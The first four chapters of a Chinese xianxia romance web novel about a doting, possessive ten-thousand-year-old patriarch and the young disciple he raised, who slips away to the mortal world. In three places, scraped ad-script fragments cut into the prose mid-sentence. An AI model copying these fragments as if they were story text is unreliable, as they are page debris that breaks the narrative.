《师徒恋不可》 1. 第1章 天地仙府,定缘峰。 峰顶压着沉沉黑云,如化不开的墨块,云层中电光突兀闪过,宛若龙蛇游走,继而轰隆声从中炸裂开来。仿佛直接在心头炸开,令人三魂七魄都跟着震颤。 此地号称天地仙府,是为一位万年老祖敖风开山所创。名称自带了个“仙”字,让闻者思及一派钟灵毓秀、仙气飘飘与世无争的风水宝地之象。 可眼下此景,阴阴沉沉,狂风肆虐,恍惚间黑云层中鬼影瞳瞳,与魔窟鬼窝无异,实在跟“仙”字半点不沾边。 三日前,定缘峰还不是如此景象,与名称相衬,是个十足的仙灵宝地。 仙雾灵气、玄鹤寰宇、飞阁楼檐,满目琳琅。 变成如此,只因—— “已经整整三日了,怎么还不见枫儿?” 钟一殿内,身着广袖白袍的男子正坐在太师椅上,满头墨发未有发带束缚随意披散,身上穿着的白袍衣襟也微微散开些许,露出几分白皙紧实的肌肤。 狭长黑眸一瞬不瞬的凝着门口方向,手搭在扶手上,食指烦乱地敲着,发出急促不耐的笃笃声。 见门口始终空无一物,敖风蹙着的眉头拧得更紧,叫那张俊美的容貌添染几分邪戾之气。 周身凭空生风,直将四周桌椅瓷器吹得哗哗作响,大有风雨欲来之势。 在身旁伺候的仙童见状忙按住吱悠悠要被吹跑的椅子,另一手扶住险些落地的青花瓷瓶,再用后背抵住随时倾斜要倒塌的博古架。 “师祖、师祖莫急!”仙童满头大汗,口中直喘粗气,“师妹就快回来了。” 师祖唯一的弟子余枫,他本不该称呼师姐,该尊称一声“小师叔”,可余枫那日开口。 “什么小师叔?我是女子,叫什么叔。” 但又苦于寻不到个合适的称呼,便按余枫所言,她年岁小,叫一声“师妹”便罢。 “就快?昨日你便这么说,前日你也这么说。” 仙童心下一阵无力,还不都是您一直问吗? 师妹前脚刚走,不过一盏茶您就追着问。 敖风两眼微眯,俊美面庞如霜料峭,周遭风势跟着越发强劲。起初那仙童按着椅子,这会儿整个人要被吹起来,顾不得那些个劳什子,反过来死死巴紧圆柱。 狂风迎面肆意,直将他吹得睁不开眼,发丝衣袍齐齐翻飞,张嘴要言语,还未来得及吐字就被灌了满嘴风。 头顶闷雷滚滚,宛若战车碾过,风声疾呼,眨眼间外面天色愈发昏暗,大有暴风肆虐之象。 敖风望着空无一物的门口,眼底沉黑,额角青筋绷起,深深呼出口气,仿佛要一股脑将胸前压抑的浊气吐出。 “叫广元前来见我!” 说话之间,已然带了几分咬牙切齿之意,周遭呼啸的风转而一顿,继而被添了火般叫嚣的更加猖狂。 仙童不敢耽搁,双脚甫一落地,撒脚丫子乘风便跑。 师祖传唤,无敢不从。 只消片刻,广元便踩着祥云慌忙赶到。 看着钟一殿内狂风肆虐,桌椅板凳一应陈设在风中被卷碎碾压成齑粉,颤抖着手捏着袖子沾去额上冷汗。 半分不敢耽搁,没等脚下云停稳,就直接一跃而下,顶着狂风着急忙慌跨入门槛,一把老骨头冷不防被门槛绊倒。原本鞠躬行礼,这下直接给敖风磕了个大的。 将错就错。眼前男子虽然看着年轻,但实则已有一万岁。准确的来说是九千九百九十八岁。 他广元看着须发皆白,也不过堪堪五百来岁,给敖风磕一个,无伤大雅。 “广元见过师祖。”狂风加剧,他拔高了音量,还是被风搅碎话音。 那风似乎意图掀开他的天灵盖,狠劲吹着,皱巴巴的皮都被吹展开来,广元根本顾不得什么形象仪态,跪伏在地,心头七上八下的撞。 敖风一手撑在太阳穴闭目假寐着,墨色发丝随意垂落在胸前,周遭风声肆虐,但他身上却丁点微风不见,连发丝都未动一根。 闻声漫吸口气,缓缓睁眼。 沉黑的眸子古井无波,蕴藏着悠悠万年岁月。而岁月最是无情。 “三日之期已到,我未见到枫儿,你还记得当日你纵容枫儿下山时,如何作保吗?” 他语调平稳,吐字淡淡,周遭肆虐的风温度骤降,从四面八方朝着广元逼近,却只围着他未侵进半分,似一把刀抵在脖颈,等着他最后狡辩。 广元艰难吞咽了下口水,“师祖、这、这还没到三日整……外面阴云密布,看不出时辰,实则,今日才是第三日……卯时。” 这个时辰,才将到弟子们晨起诵读的时辰,他本该再睡一会,然后去传道解惑,没成想直接被仙童一声“师祖传唤”惊醒,眼下困意全无,还有点强行刺激醒来的头疼。 “第三日卯时,便不是第三日了吗?” “这……” 被敖风视线幽冷的盯着,广元喉头一噎,被堵得说不出话来。 好像有哪里不对劲,但却说不上来,只觉如此十分在理。 天地仙府各分支的弟子们到年岁都要去人间祛除妖邪历练一番,本来师祖的关门弟子余枫是被排除在外的,但这消息却阴差阳错从他口中传到余枫耳朵里,余枫非去不可,师祖让他解决,但两头都不好得罪,他便只得硬着头皮担保。 “三日,就三日,三日必归,如若余枫未归,广元提头来见!” 今日三日期限已到,还不见余枫回来,他这五百年的老脑袋怕是要不保了…… 敖风半眯的眼陡然一厉,周遭狂风大作,披散的墨发随风而舞,阔袖鼓风,金线绣着风云纹样跟着翻腾起来。 广元被风卷至当空,那风拧做绳勒着他四肢与脖颈,逐渐发力收紧。 “你跟了本座五百年,这颗脑袋,本座十分不愿要的,但……” 敖风冷凝着他,“枫儿从未离开过天地仙府,便是被你这三寸不烂之舌哄骗下山,至今未归,途中怕是出了什么变故,本座先杀了你,再下山去寻枫儿。” “不!绝不会有事,”风绳勒的越紧,广元艰难喘息,“我让狄玉环跟孔方海随行,他们定会护着余枫安全,绝不会有万一,若真有万一,不必师祖动手,广元定提头来见,还请师祖放心!” 敖风还是没有松开他的迹象,勒着四肢脖颈的风还在收紧,广元面上血色逐渐开始见紫,“一个时辰!再过一个时辰,若余枫还未归来,师祖即刻取了广元性命!” “一个时辰,一个时辰……” 敖风倏然起身来回踱步,身上宽松的袍子随行而动,如云浪翻滚,半晌,他脚步顿住,回头深看广元一眼,眸似冷刀。 “就一个时辰。”他恨恨咬重“一个”二字,广袖哗的甩过。 广元砰声落地,顾不上疼,对着敖风叩首,“多谢师祖宽恕。” 只来了片刻,此刻广元后背已是冷汗连连,双腿都似被抽去筋骨般软烂动弹不得。 好歹是一方府主,说出去实在贻笑大方。 他悄悄抬眼飞快看了眼敖风,心下跟着暗叹。 凡是跟余枫沾上边的事,都是如此。 这定缘峰原先并不叫定缘峰,而叫天地峰。 只因十六年前敖风外出云游捡回来个女娃 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,喜爱的不得了,甚至给这女娃赐名“余枫”。 木立风旁,是为“枫”。 遂为纪念与这女娃的缘分,将天地峰改名为定缘峰。 广元心下暗暗吐槽这位万年老祖的小心思,面上却是不敢显露出来半分。 这位万年老祖,他硬着头皮敢得罪一分,但若在他跟前说半点余枫的不好,那他就完了。 换言之,这天地仙府真正的老祖,其实是余枫。 这位“真正的老祖”才下山三日,就惹得敖风心神不宁,将一派仙灵之气的仙府都搞得乌烟瘴气魔窟似的,实在烦躁时更是直接将仙府周遭一应妖怪小鬼挨着屠杀一遍。 仙府弟子们偶尔还能碰到杀的浑身是血的敖风,惊得浑身僵直,连行礼都忘了去,好在敖风六魂无主,游魂般而过,并未注意。 众人整日提心吊胆,心里默默求爷爷告奶奶,外加祖宗保佑,期盼那位“真正的老祖”早日归来。 捡回来一把老骨头,广元忙起身揉着老腰往外走,琢磨用传音咒催促两个徒儿——师门大危!速归! 一脚还未踏出门槛,外头迎面急匆匆赶来一人。 “师祖!师祖!余枫师姐回来了!人在两仪殿!” 广元两眼惊喜圆睁,正要回头道喜,一股强劲的白风却从他身侧汹涌而去,将他整个人撞得原地转了旋转三圈,头晕眼花的再次倒地。 回过神来再看门前,空空如也,而那把太师椅方才坐着的敖风也早已不见了踪影。 笼罩在定缘峰上空的铅块浓云瞬间消散,金光刺开,遍洒大地。 微风徐徐,灵雾流转,吹起院中灼灼桃花数片,又是一派仙灵祥和之态。 广元瘫坐在地见此情此景,口中连连叹息。 “堂堂万年老祖,竟被一个女娃娃拿捏,真不知是好事还是坏事……” 定缘峰距离两仪殿有一截路程,而此时正逢诸多弟子晨起去各自洞府学课之时。 抄手回廊蜿蜒,诸多学子不疾不徐行在其上,看着环绕四周的绿湖粉荷,神态悠然、怡然自得。 忽地狂风涌来,呼啸而过,吹得众人衣袍凌乱,迷的睁不开眼。 一息后风止,荷花池凌乱如历经狂风骤雨,空气中只余淡淡冷冽的霜雪香。 前方殿宇琉璃绚彩,坐落于山峦峰顶,日光当头,灵雾伴随左右,依稀可见门楣高悬三个烫金大字——两仪殿。 敖风停在拐角处,眼底焦躁终于平复,薄唇缓缓朝上勾起。 提步就要入内,却忽而脚步一顿,抬手捏出水镜,对镜仔细整理一番形容,方才松放肩头,端着架子脚步沉稳地朝着两仪殿内踏去。 殿内众人正在攀谈,中央站着三人,周围坐着一圈府主装扮的老者,捋须微笑看着三人汇报下山捉妖事宜。 “枫儿。”敖风一眼瞧着正中央的女子,抬脚徐徐跨入。 这嗓音朗月清风,众人皆面露疑惑之色,面面相觑,寻着声源处望去,见着一张十分熟悉、当下神情却实在陌生的脸,呼吸骤止。 这人……好像是他家老祖? 云白软靴跨过门槛,金线绣着风云纹样的袍角随行而动。 男子满头墨发以玉冠高高束起,舒眉展眼,笑得温柔可亲,宛若和煦微风扑面而来,令人忍不住想要靠近。 那双黑眸中,只倒映着站在中央的女子身影。 他又唤,嗓音温润,“枫儿。” 众人耳畔仿佛有霹雳炸裂开来,直轰得众人外焦里嫩。连连擦汗。 师祖不愧是师祖,变脸装x的门道越来越熟稔,也可开山封祖了…… 2. 第2章 弟子常服为松山绿,周围坐着的府主则穿紫袍,倒映在敖风眼中的身影,却是一抹纯白。 那女子款款转过身来,身上白裙外披一层薄纱跟着浮动。眼下日光当头,明亮的光从门外折射进来,那薄纱自如水中明月,散发点点温润萤光。 墨发甩动,露出张灵动素净的脸来,见着门前站着光风霁月的男子,黑眸微张亮起两点明光,扬起笑来张开手臂朝男子奔去。 白裙飞舞如蝶,皓腕间一双嵌灵石玛瑙玉镯跟着叮当作响。 “师尊!” 余枫直接扑入来人怀中,熟悉的霜雪冷香瞬间包围过来,小猫似的在敖风胸膛前蹭了蹭。 敖风垂眼看着怀中人,眉眼舒展,莹润温软光芒,右手顺势要抬起拥住她,手抬至她腰身微顿,复又重新抬起,抚上她柔软黑发。 “这么些府主在场瞧着,你真是愈发放肆,没个正形了。” 虽是苛责的话,但在场多少明眼人,老祖嘴角上翘的分明都能荡秋千了。 于是有人只得站出来附和说,“师祖此言差矣,余枫这是一日不见师祖,如隔三秋,一时失态,也是人之常情。” 敖风冲着站出来说话之人温和一笑,全然不见方才在定缘峰上半点怒容,“云府主,本座听闻近日观云府出了几位出类拔萃的弟子,便去炼丹府每月多领百粒上品丹药,作培养后辈之用。” 那位云府主当下受宠若惊,好半晌没说出话来,冲着敖风连连拱手行礼,“多谢师祖!” 其余人见云府主两张嘴皮子上下一碰就多领百粒上品丹药,当下气的捶胸顿足,纷纷痛恨方才自己不是第一个开口拍马屁。 老祖的彩虹屁哪儿有臭的?那都是天材地宝、真金白银! 旁边孔方海上前一步,先冲着敖风行了一礼,而后对着余枫说,“枫师妹,该给师祖跟诸位府主汇报此次下山捉妖事宜了。” “师兄说的是。” 余枫当下松开敖风站直身子,冲着周围府主一礼。 “我与师兄师姐下山三日,共收妖七头,其中三头活捉在玲珑塔中,其余四头反抗激烈,杀生众多,枫儿协同师兄师姐将其就地诛灭。” 说完,直起腰身站定,偏头看向身旁的敖风,小声问道,“师尊觉得枫儿此番下山战果如何?” 敖风低垂眼帘,一手还悬在虚空未曾回过神,听得余枫开口,眼皮轻跳,将悬在虚空的手负在身后,含笑凝着她。 “枫儿出手,自是极好,但需知山外有山,万不可骄傲自满,你还仍需潜心修习。” “是,师尊。”余枫也低头冲着他恭敬一礼,笑得俏皮灵动。 趁着余枫低头刹那,敖风面上笑意瞬间收敛,冷冰冰的视线落在孔方海面上一扫而过。 孔方海恍若被大雪倾覆,冻得打了个激灵,满眼无辜,不知自己怎么就突然惹得这位老祖不愉快了,眼神求助旁边狄玉环。 狄玉环心下暗叹口气,真是个傻小子,现在还不知道错哪儿…… “回来了?余枫回来了?” 外面急促的脚步声迈入,孔方海跟狄玉环见着来人,皆齐齐行礼。 “见过师尊。” “广元。” 广元前脚踏入门槛,还未站定,前方敖风负手而立,嗓音凉凉传来。 “本座那头麒麟兽近日肠胃不好,你跟你的徒儿去喂养十日。” 敖风侧目睨着他,“不可怠慢。” 此话一出,周遭人又是看着广元怜悯叹息,又是幸灾乐祸低声发笑。 老祖坐骑麒麟兽,是出了名的脾气不好。广元与那麒麟兽也算相识五百年,可每次别说骑了,就是近身也得看这位兽爷心情如何,若是碰着心情不好,张口便是一道火柱子喷出。 广元这五百年来,可被烧毁了不少上好的袍子,胡子头发也新长出来好几遍。 喂养麒麟兽,实在苦差。 “呃?” 广元呆住了,看着敖风不明所以。 余枫已经回来了,这位老祖方才心情还雨过天晴,怎么就这片刻功夫,心情就差了许多? 谁惹他了? 他看向自己的两个宝贝徒儿狄玉环跟孔方海,以眼神询问。 前者瞥了眼孔方海低头叹息,后者两眼茫然呆滞,跟广元四目相对,大眼瞪小眼。 狄玉环抬手揉了揉眉心,提步朝余枫踱去。 “枫师妹,你不是给师祖带了礼物吗?眼下见到人,该拿出来了。” “正好快要化了……”余枫当下抬起右手,葱葱玉指上戴着一枚精巧的纳戒。 看着平平无奇,但那纳戒却可容万物,旁的弟子是没有的,唯有这位开山老祖的爱徒才有。 敖风并不在意余枫说的“快要化了”是什么意思,只听见有礼物与他,眨眼见眉眼又是春风化雨,方才冷冽下来的语调跟着染上几分欢快。 “枫儿还给我带了礼物?是什么?”” 不光敖风,就连身旁诸位府主也跟着伸长脖子,好奇老祖的宝贝徒儿会带回来什么礼物。 毕竟平日里老祖可是成堆成堆的往余枫居所送宝物,包括余枫眼下身上穿戴,鲛人雪纱、摄魂铃,都是一等一的宝器。 余枫身为敖风的徒儿,送礼自然不会跌份到哪儿去,刚好今日又可一饱眼福。 “铛铛铛铛!师尊请看!” 余枫神秘兮兮地从纳戒中抽出一物,展示在敖风面前。 众人跟着瞪大眼睛定睛一看,将要发出的倒吸气声硬生生梗在喉头,瞪圆的眼珠子倒是又大一圈,写满了震惊错愕,而后收回视线,小心翼翼观摩敖风脸色。 敖风面色如常,只是背负在身后的手指攥紧了几分。 “枫儿,这是……” 余枫转动手中晶亮透红的糖葫芦,外面糖衣微微融化,作势流动往下滴淌。 “糖葫芦!”余枫眼底依旧明亮,“枫儿在人间吃了,味道甚好!就是糖衣有些化了,师尊莫要嫌弃……” 她越说声音越低,旁边诸位府主早已通过传音咒建了个群聊。 “哎,翻车了……” “谁说不是呢?师祖平日里将她金尊玉贵的养着,各种宝贝山一样往屋里送,结果出门一趟回来……竟带了个糖葫芦做礼物。” “敷衍,太敷衍了,身为师祖的爱徒,竟不知师祖千尊万贵,素日里衣食住行哪样都是挑最顶尖的,稍不入流都瞧不上眼,现下送什么糖葫芦……” “诸位道友?我们不如先撤吧?待会师祖铁定要发怒的。” 府主们在群聊里纷纷应和撤退撤退,但却无一人动。 这位万年老祖敖风虽脾气不好,但有余枫在时温柔平和,将最真实的一面完全隐藏。 眼下余枫还在,他们想留下看看热闹。 狄玉环抬手扶额,以传音咒与余枫交谈。 “怎么送师祖凡人的小吃食?我不是让你在人间翠玉轩挑吗?” “那些首 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 饰宝物师尊又不缺,我觉得糖葫芦更好些,师尊定是没吃过的。” “可是这在师祖面前未免太拿不出手,师祖是万年风灵龙,龙都喜欢亮晶晶的宝物。” “宝物……定缘峰最多的就是宝物了,好啦别担心,师尊通情达理,温柔平和,就算万一送错了他也绝不会计较的。” 狄玉环:??? 通情达理?温柔平和? 那位因为孔方海一句提醒被坏了好事,便罚师徒几人去喂养麒麟兽的万年老祖吗? 四下俱寂,落针可闻。 所有人都在等着敖风发怒,却听得他扯唇朗笑,抬手接过余枫手中的糖葫芦,略施术法,将糖葫芦冻结成冰雕。 两指捻着木棍轻轻转动,目光如融化红烛,凝着山楂串成的糖葫芦。 “不嫌弃,枫儿惦念着我才带回来的东西,如何能嫌弃。” 嘶—— 众人倒抽一口冷气。 绝。 余枫再随意敷衍,师祖自有办法帮她圆说。 这兴许便是“叫不醒的装睡人”吧。 “师尊喜欢便好,”余枫扬唇一笑,眉眼还是一如既往的天真灵动。 她眼下二九年华,在这天地仙府中不是年纪最小,但却因自小被敖风保护的太好,心智却是比同龄人要晚熟许多。 那些个尔虞我诈人情世故弯弯绕绕,她是不大懂的。 眼下见敖风捻着那糖葫芦把玩,眉眼含笑,便道他是欢喜的,心头松了口气,轻轻撞了下狄玉环肩头,传音送到。 “我说什么来着,师尊温柔平和,就算送错他也不会责怪的。” 狄玉环:…… “在这站了这许久,几个孩子下山多日想必也累了,叫他们回去歇息吧,我还有要事跟师祖禀报。”广元趁机开口, 敖风手里仍旧捏着糖葫芦不肯收起,“嗯”了一声。 “枫儿,你先回定缘峰休息吧,我等会儿就到。” “不必了,我的时间不够了。”余枫笑答。 “时间不够了?”敖风蹙眉不解,“何意?” 余枫神秘一笑,“师尊已经收下礼物,俗话说吃人手软,听了我接下来的话可莫要生气。” 敖风耐着性子,“无妨,你说。” “我要说的话就是……” 话未说完,只听砰的一声,眼前突的云雾缭绕,目不可视物。 敖风广袖轻轻一挥,云雾瞬间散去,方才余枫站着的地面多了一封信,还有一块通体透亮的玉如意。 “影玉?!”广元盯着地面,失声惊呼,“竟是替身?!!!” 敖风面色瞬间阴云密布,风和日丽的天眨眼变暗,闷雷滚滚,有暴风雨欲来之势。 敖风盯着地面书信,手一伸,书信自到掌心,拆开一看,内里字化音形,余枫俏皮灵动的模样跃然纸上。 “师尊莫要动怒,人间甚是有趣,三日不够,枫儿再过十日就归,届时给师尊带更好的礼物。” 纸上余枫冲着敖风笑嘻嘻一礼,“哦对了,此事是我哄骗狄玉环师姐与孔方海师兄,我一人所为,与旁人无关,还请广元府主莫要为难他二人,枫儿在此谢过啦。” 言罢,又是一礼,冲着众人挥手再见。 咔嚓—— 两仪殿上空银光炸裂,寒风怒号,眨眼将殿宇穹顶掀飞而去。 广元看着手里攥着信件一言不发的敖风,后背冷汗直流,“师、师祖……” 3. 第3章 “放我出去!师尊!师尊!” 恒心殿门紧闭,里面不断传出以掌拍门的砰砰动静,门上兽口衔环被震得哗啦作响。 “玉环师姐?!方海师兄!” 余枫在屋内几番告饶呼唤,但还是不见外面有丁点回应,当即深吸口气后退一步,双手结印运起灵力就要强行破门。 轰——灵力拍出的刹那被无形气墙尽数吸收化解,竟是落了阵法。 头顶四方传来一声缥缈又无奈的叹息。 “省省力气,这是惩戒,安生在里面待着面壁思过,待到三日……” 余枫仰头看着穹顶四方,“惩戒?不知我何错之有,师尊要罚我面壁思过三日。” …… 这丫头,竟还不知自己错在何处。 穹顶上空传来敖风回应,“去人间三日就归,三日之期已到,你以影玉戏耍我与诸多府主,视规矩为无物,这便是错。” 余枫继续抬头望着穹顶,不见半分理亏萎靡。 “若我记得不错,师尊与广元府主说是三日后归,第三日晨起就催人回去,这根本就是言而无信!” “可你逃了。” “逃了被捉回来,也才第三日晌午。” “你留下信件说还要再玩十日才归。” “但第三日晌午不就被捉回来了吗?也算在三日之期内回来,不算违反仙府规矩。” 甭管她是不是自愿回来的,就说三日内她是不是人已经到天地仙府了? 在暗处的敖风:…… “师尊?师尊怎么不说话了?快放我出去!” 讲不过她的歪理,敖风索性闭目养神。 余枫在寝殿内连声呼喊,不见有应,一手握拳敲在乌木矮案上。 皓腕间铃铛清脆一声响,力道不大,却在矮案上直接砸出个坑,断裂面生出的木刺扎入拳背,鲜艳血色跟着徐徐渗出。 余枫才要抬手查看伤处,就听得原先紧闭的大门啪的声被人从外踹开,微冷的风从外呼啸而入,吹得她长发后拂,睁不开眼。 风止,霜雪气息逐渐弥漫入鼻腔,受伤的手已被人轻柔握在掌心。 握着她的那手温凉,如浸泡于凉泉中的玉石般,仿佛连带伤处轻微刺痛感都被镇下去几分。 余枫还未抬眼,唇却先朝上勾起笑了。两眼撩起,入目是玉冠束发、一丝不苟的俊美容颜,白袍加身,堆雪砌玉般,正蹙着长眉专注的帮她拔去扎入拳背的木刺,而后精纯冰凉的灵力在拳背抹过,伤口恢复如初,连丁点血色都未留下。 “你又在胡闹。” 余枫刚要开口,就被敖风抢先。 狭长的黑眸落在她面上,如初冬的风在面上吹过。 若是换做旁人早都噤若寒蝉,可余枫全无惧意,反而无赖抱住敖风一条手臂,脸颊贴上。 师尊衣袍的料子冰凉柔软,方才气恼脸颊微微发热,眼下贴在这衣料上瞬间凉爽了不少。 “我没胡闹,只是忘了还戴着摄魂铃,这桌子又太脆弱,轻轻一敲就碎了,”她抬起头,“师尊,放我出去吧?师尊方才无话可说,不是代表我说的在理吗?既然在理,那我就不该闭门思过。” “歪理也算理的话……”敖风蹙着的眉头逐渐舒展,随手落在被余枫砸了个洞的桌案上,桌案眨眼化为齑粉,在地面留下一堆粉尘,“这回你实在胡闹,闭幕思过三日,一日不得少。” “师尊……” 余枫双手藤蔓般死死抱紧他不肯松手,敖风装腔作势推了两次没推开,索性也由她抱着。 “不能因你一人坏了规矩,做错必须受罚,也好长长记性,”嘴里怒斥,狭长的黑眸却倒映着眼前人身影,哪儿有半分怒气。 “我没错。” 余枫起身抬眼朝他看来,敖风眼底温和瞬间敛起,端着一副为人尊长的架子。 “我是打算三日过完就归,是师尊不讲信用在先,三日未过就叫我回去,我被逼无奈才出此下策。” “非也,”敖风双手负在身后站得笔直,回答的也理直气壮,“答应你的是广元,并非是我,我让你三日就归,不算言而无信。” “可是才第三日清晨……” 敖风又用回广元的话回她,“第三日清晨便不是第三日了吗?” 余枫张了张唇想反驳,但又无辩驳之处,脸颊逐渐憋得绯红,贝齿咬上朱唇。 “歪理!根本就是歪理!” 余枫甩开敖风手臂,“广元府主素来听师尊的话,若没师尊默许,广元府主哪儿做的了主?说到底还是师尊言而无信!师尊言而无信,竟还要反过头来罚我?哪儿有这样的道理?” 她轻哼一声,双手环在胸前,香腮气鼓,胸前上下起伏。也不看敖风,倔强地盯着虚空处。 细风从窗户吹入,卷起地上矮案粉尘落入余枫眼里,痒涩难耐,余枫抬手轻揉眼,再落下手,眼眶已然通红,有泪珠滚落。 晶莹一滴聚在下巴处,吧嗒掉落,仿佛摔碎在敖风心头,酸酸涩涩。 胸口好似凭空生出一团云压着,有些憋闷,想与她辩论的心登时烟消云散。 他负在身后的五指蜷紧,而后无奈徐徐松开。漫吸口气提步上前停在余枫身侧,撩袍坐下。 余枫哼了声,再别过脸,眼神气恼又坚定的望着别处。 敖风耐心的伸手握住她胳膊,将她整个人扭转过来,抬手仔细勾去她眼尾泪珠。 “不过同你相辩几句,这点委屈都受不得,在人生地不熟的地方闯荡,要受的委屈更多,届时你又该如何?” 他眉眼温柔,越是擦她泪痕,心下越是酸涩,埋怨自己方才实在不该。 但余枫并不是哭,只是被那尘埃入眼涩出来的泪光,被他擦拭干净,又恢复清明。 “受什么委屈?师尊赠我这么多法器,出去怕是只有我让别人受委屈的份儿。” 余枫烦恼来的快去的快,这会儿又与敖风笑说起来,“那糖葫芦味道如何?我头一次吃,觉得味道极好,就给师尊也带了一个。” 敖风舒眉看她,点点头,“枫儿赠的,自是味道极好。”但实际上,他没舍得吃,当时冻成冰雕,如今还在纳戒里珍藏着。 “师尊活了万年之久,可曾去过人间?可曾吃过这些?我那日看到条满是这种吃食的巷子,”余枫咋咋嘴,“可惜一个都还没来得及吃……” 看得出她对人间的向往,敖风垂下眼帘。 活了近万年的天地造化风灵龙,敖风骄傲、好胜,目空一切从未低头。 而眼下,他漫吸口气,缓缓伸出手落在余枫发丝,轻柔地抚着,低声道。 “这回……是我不好,改日,我亲自带你再去人间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “当真?!”余枫倏然抬头。 眼睫还沾着方才未被擦拭干净的泪珠,但已然染上几分喜色。那双眼被泪水清洗,也更加明灿透亮。 敖风就望入那样一双纯澈的眸里,胸腔憋闷的云层散去,点点头,“嗯。” “何时?!” 敖风捏着衣袖将她眼尾残留泪痕沾去,“近日又有玄灵动向,待我处理完此间事宜,便带你去。” 余枫眼巴巴的看着他,他又补了一句,“绝不食言。” 余枫倏然张开双臂扑入敖风怀中,将脸上残留泪痕一股脑蹭在敖风衣袍上,“我就知道,师尊是天底下最好的师尊!” 敖风眉眼化开笑意,双手照例抬起,在她腰身处停留一瞬,这回却是没有朝上挪去抚摸她发丝,就这么停在她腰肢,轻轻拥着她。 左右无人,便悄悄拥着她一会儿吧,无人会知晓,一切慢慢来…… * 与余枫算是冰释前嫌,自我认为还有了一点点小小的进展,敖风心满意足,踏出恒心殿时春风满面,但余枫在身后看着,他忍着没有显露半分。 朱红大门闭合,看不见余枫身形,他眨眼化作一缕风消失原地,到了广元居所。 “天底下最好的师尊……” 敖风双手环在胸前,在原地来回踱步。嘴里说一遍便低头笑一声,如此反复数十次之后,笑声兀的戛然而止。 只因脑海中浮起另外一句——这回,是我不好。 他倏然站得笔直,脸上笑意跟着消散,蹙起剑眉,立在原地一动不动,负在身后的手指轻轻摩挲着。 广元看神经病一样扫了一眼敖风,不敢叫他察觉,飞快垂下眼帘,问一句,“师祖可是有什么烦心事?” 敖风提步坐在广元榻上,沉吟片刻后开口,“你觉得,本座惩罚枫儿一事,可是做错了?” “自是没有,余枫不知人心险恶,初次下山就要孤身一人闯荡江湖,师祖都是担心她、为了警示她,都是一番良苦用心啊。” 敖风眉头舒展,点点头,“本座确实是如此想的,这回放她一马,只是本座让着她。” “额?”广元愣住,“师祖……已经解除了余枫禁闭?” 敖风心安理得的点头,“嗯,改日本座亲自带枫儿下山游玩人间。” 广元:…… 放的这么快,那何必在诸多府主面前信誓旦旦非要给余枫一个教训? 敖风口中说着,脑海中又浮现出余枫眼尾噙泪的模样,心头又开始憋闷。 “话说回来,枫儿如此,都是人之常情,本座年少时也想四处闯荡,枫儿也并无过错。” 他拧着眉,嘴里喃喃念叨着,“这点事情,何至于将她惹哭?真是不该……” 广元:你俩都没错?我错呗? 不消片刻,敖风又站起身,薄唇勾起笑来。 “天底下最好的师尊……” “天底下最好的师尊,意思就是,本座乃天底下对她最好的人,无人能出本座之右。” 广元暗暗翻了个白眼:神经。 敖风从纳戒中取出糖葫芦在指尖转动,眸色逐渐深沉。 应该……快到时机了吧? 候了近万年之久…… 都说岁月不过弹指一挥间,但万年时光,比想象的漫长。 4. 第4章 得了敖风保证,过些时日带她再去人间,余枫果然安分不少,拉着狄玉环在恒心殿中下兽棋。 寻日里那些个师尊府主们下的围棋太过深奥弯绕,甚至可以棋定天下之势,余枫懒得琢磨。 偶尔敖风与她对弈一番,她就捏着棋子盖起高楼,谁若落子让这高楼坍塌,便是谁输了。 自然,总是余枫赢。 这兽棋就合余枫胃口多了。猫吃鼠、狮吞豹,弱肉强食,十分简单易懂,她也玩的上瘾,拉着狄玉环在寝殿中连下一个时辰都未停歇。 “歇了歇了,下的人手腕都酸了……” 狄玉环活动着手腕就要起身,余枫着急伸手拉住她衣角,“哎,好姐姐,再玩一会儿,求你了。” “我还得去修习,马上就是跟诸天宗的弟子大比了,万不能丢了师尊颜面。” “弟子大比?”余枫眼底倏而一亮,“又要举行了吗?” 狄玉环情知说漏嘴,下意识掩唇,眸光虚闪,“你听错了……” 旋即抿了抿唇,重新坐回原位,拾起那兽棋,岔开话头。 “再来一把。” “好姐姐,”余枫直接起身绕过矮案圈住狄玉环脖颈央求,“我都听到了,休想含混过关,快告诉我,你是全天下最好的姐姐。” “哎,少拍马屁。” “哪儿能,我只说真话,快告诉我吧。” 二女拉扯,余枫瞥见卷帘后有纯白衣角拂动。 “师尊?” 那后方身影微顿,旋即扭身踏入主殿。 今日仍旧衣着齐整妥帖,玉冠换去,以一枚嵌灵石金冠束起三千墨发,在屋内烛火之下折射出夺目光彩。 身上衣袍倒是往常素白,只不过衣料有细微改变,恍若有云霞织锦其中,夕阳西下般霞光满身,衣袖袍角处的风云纹样跟着活灵活现起来。 通身珠光宝气,怎一个光彩照人。 “师尊既然来了,怎么不进来?”余枫迎上前,眯起两眼,“该不会是在偷听吧?” 她素来心直口快,敖风早已习惯,说了声“刚到,并非有意偷听”,视线便朝她身后的狄玉环移去。 视线算不上友好,有些审视观摩意味。 他耳力甚好,听到余枫夸赞此人——全天下最好的姐姐。 又是全天下最好。 幸而,是个女子。 狄玉环被他盯的脊背发毛,几步上前冲着敖风一礼,“弟子忽然想起师尊还交代要事要办,先行一步。” 敖风点头应允,余枫还要挽留,被敖风伸手拽回。 “我还有事寻你。” 闻言,余枫只得作罢。 恒心峰一成不变实在无聊,也就跟狄玉环下兽棋能让余枫觉得有趣些。 眼下狄玉环走了,人间也去不了,余枫垂头丧气回到棋桌前,看着才开的棋面,瞬间没了兴致,直接倒在棋盘上,眨眼看着忽闪的烛光。 耳畔轻微脚步声靠近,微冷的霜雪香跟着袭来。 一截洁白广袖入眼,在棋桌上铺了个扇形。 她懒洋洋地问,“师尊寻我什么事?” 敖风神秘一笑,轻拍两手,外面当即脚步声攒动,有仙童端着红木托盘鱼贯而入,自动分列两侧。 “又是宝物?” 敖风答:“糖葫芦的回礼。” “这么多?” “还不够多。” 余枫撑着脑袋坐直身子,见敖风朝她伸出手,便顺势起身,踱步至那盖着丝绒红绸的托盘前。 敖风随意将丝绒绸布抽开,一团柔光当即出现,玉盘大小,如天上明月,徐徐散发银辉。 余枫伸手触摸那物。触感温润细腻,如珠似玉。 